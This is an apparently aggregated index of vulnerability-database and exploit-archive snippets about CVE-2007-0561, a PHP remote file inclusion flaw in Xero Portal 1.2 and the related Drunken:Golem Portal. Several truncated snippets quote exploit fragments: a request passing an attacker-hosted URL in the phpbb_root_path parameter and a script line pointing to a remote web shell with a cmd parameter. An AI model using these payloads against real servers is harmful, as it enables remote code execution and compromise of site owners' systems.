Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in Xero Portal 1.2 allow remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter to 1 adminlinkdb.php, 2 adminforumprune.php, 3 adminextensions.php, 4 adminboard.php, 5 adminattachments.php, or 6 adminusers.php in...

CVE-2007-0561

Multiple PHP remote file inclusion vulnerabilities in Xero Portal 1.2 allow remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter to 1 adminlinkdb.php, 2 adminforumprune.php, 3 adminextensions.php, 4 adminboard.php, 5 adminattachments.php, or 6 adminusers.php in...

CVE-2007-0561

CVE-2007-0561 affects Xero Portal 1.2 and relates to multiple PHP remote file inclusion vulnerabilities in the admin/ directory. The underlying issue is that arbitrary PHP code can be executed via a crafted URL in the phpbb_root_path parameter to files including admin_linkdb.php, admin_forum_prun...

EUVD-2007-0559

Multiple PHP remote file inclusion vulnerabilities in Xero Portal 1.2 allow remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter to 1 adminlinkdb.php, 2 adminforumprune.php, 3 adminextensions.php, 4 adminboard.php, 5 adminattachments.php, or 6 adminusers.php in...

CVE-2007-0561

Multiple PHP remote file inclusion vulnerabilities in Xero Portal 1.2 allow remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter to 1 adminlinkdb.php, 2 adminforumprune.php, 3 adminextensions.php, 4 adminboard.php, 5 adminattachments.php, or 6 adminusers.php in...

Drunken:Golem Portal 0.5.1 Alpha 2 Remote File Include Exploit

No description provided by source. C MackRulZ - 2007 Bug name: Drunken:Golem Gaming Portal rootpath Remote File Include Exploit Script Name: Xero Portal v1.2 Wrong Codes: require$phpbbrootpath . 'includes/bbcode.'.$phpEx; $rfi = "phpIRC.php?rootpath="; $path = "/include/irc/"; $shell =...

Drunken:Golem Portal 0.5.1 Alpha 2 Remote File Include Exploit

Exploit for unknown platform in category web applications ============================================================== Drunken:Golem Portal 0.5.1 Alpha 2 Remote File Include Exploit ============================================================== C MackRulZ - 2007 Bug name: Drunken:Golem Gaming...

Digitalxero Xero Portal PHPBB_Root_Path远程文件包含漏洞

Digitalxero Xero Portal是一款基于PHP的WEB应用程序。 Digitalxero Xero Portal不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是多个脚本对用户提交的'PHPBBRootPath'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 digitalxero Xero Portal 1.2 目前没有解决方案提供： http://www.digitalxero.net/...

Drunken:Golem Portal 0.5.1 Alpha 2 - Remote File Inclusion

Drunken:Golem Portal 0.5.1 Alpha 2 - Remote File Inclusion C MackRulZ - 2007 Bug name: Drunken:Golem Gaming Portal rootpath Remote File Include Exploit Script Name: Xero Portal v1.2 Wrong Codes: require$phpbbrootpath . 'includes/bbcode.'.$phpEx; $rfi = "phpIRC.php?rootpath="; $path =...

xero-rfi.txt

C XORON - 2007 Bug name: Xero Portal v1.2 phpbbrootpath Local File Include Vulnerablity Script Name: Xero Portal v1.2 Wrong Codes: require$phpbbrootpath . 'includes/bbcode.'.$phpEx; Exploit: www.target.com/scriptpat/admin/adminlinkdb.php?phpbbrootpath=http://evilscripts?...

Drunken:Golem Portal 0.5.1 Alpha 2 - Remote File Inclusion

C MackRulZ - 2007 Bug name: Drunken:Golem Gaming Portal rootpath Remote File Include Exploit Script Name: Xero Portal v1.2 Wrong Codes: require$phpbbrootpath . 'includes/bbcode.'.$phpEx; $rfi = "phpIRC.php?rootpath="; $path = "/include/irc/"; $shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";...

Xero Portal - phpbb_root_path Remote File Inclusion

Xero Portal - phpbbrootpath Remote File Inclusion C XORON - 2007 Bug name: Xero Portal v1.2 phpbbrootpath Local File Include Vulnerablity Script Name: Xero Portal v1.2 Wrong Codes: require$phpbbrootpath . 'includes/bbcode.'.$phpEx; Exploit:...

Xero Portal (phpbb_root_path) Remote File Include Vulnerablity

Exploit for unknown platform in category web applications ============================================================== Xero Portal phpbbrootpath Remote File Include Vulnerablity ============================================================== C XORON - 2007 Bug name: Xero Portal v1.2 phpbbrootpat...

Xero Portal (phpbb_root_path) Remote File Include Vulnerablity

No description provided by source. C XORON - 2007 Bug name: Xero Portal v1.2 phpbbrootpath Local File Include Vulnerablity Script Name: Xero Portal v1.2 Wrong Codes: require$phpbbrootpath . 'includes/bbcode.'.$phpEx; Exploit:...

Xero Portal - 'phpbb_root_path' Remote File Inclusion

C XORON - 2007 Bug name: Xero Portal v1.2 phpbbrootpath Local File Include Vulnerablity Script Name: Xero Portal v1.2 Wrong Codes: require$phpbbrootpath . 'includes/bbcode.'.$phpEx; Exploit: www.target.com/scriptpat/admin/adminlinkdb.php?phpbbrootpath=http://evilscripts?...